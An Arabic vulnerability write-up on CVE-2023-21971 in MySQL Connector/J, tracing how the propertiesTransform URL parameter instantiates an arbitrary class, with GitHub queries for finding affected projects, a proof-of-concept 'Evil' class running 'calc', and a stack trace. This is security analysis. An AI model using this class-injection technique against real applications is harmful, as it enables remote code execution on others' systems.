
CVE-2023-21971 Connector/J RCE تحليل
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
تحليل إلغاء تسلسل MYSQL JDBC - 跳跳糖 (tttang.com)
ثغرة في منتج MySQL Connectors من Oracle MySQL (المكون: Connector/J). الإصدارات المتأثرة المدعومة هي 8.0.32 والإصدارات الأقدم. ثغرة يصعب استغلالها تسمح لمهاجم عالي الصلاحية بالوصول إلى الشبكة عبر بروتوكولات متعددة لتعطيل موصل MySQL. الهجوم الناجح يتطلب تفاعلًا بشريًا من شخص آخر غير المهاجم. الهجوم الناجح على هذه الثغرة قد يؤدي إلى قدرة غير مصرح بها تؤدي إلى تعليق موصل MySQL أو تعطله المتكرر (DOS كامل)، بالإضافة إلى تحديث أو إدراج أو حذف غير مصرح به للوصول إلى بيانات يمكن الوصول إليها بواسطة بعض موصلات MySQL، وقراءة غير مصرح بها لجزء من بيانات موصل MySQL.
نطاق التأثير:
ابحث في Github عن المشاريع التي تعتمد على mysql-connector-java.
filename:pom.xml mysql-connector-java
ابحث في Github، وستجد المشاريع التي تعتمد على إصدار معين من mysql-connector-java.
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
من الواضح هنا أنه يمكننا التحكم في propertiesTransformClassName، وعند استدعاء newInstance() سيتم تلقائيًا استدعاء المنشئ بدون معاملات.
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
من الواضح أنه يمكننا كتابة Demo للتحقق.
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
هنا نقوم بتنزيل ملف Jar مباشرة واستيراده إلى مكتبات مشروع IDEA.
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
لكن فئة Evil تم إنشاؤها محليًا، ولا توجد أي فئة في التبعيات تقوم بتطبيق واجهة ConnectionPropertiesTransform. هل هذه ثغرة غير عملية؟
من خلال التجربة، وجدنا أن فئة Evil لا تحتاج إلى تنفيذ واجهة ConnectionPropertiesTransform لتنفيذ الأوامر.
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test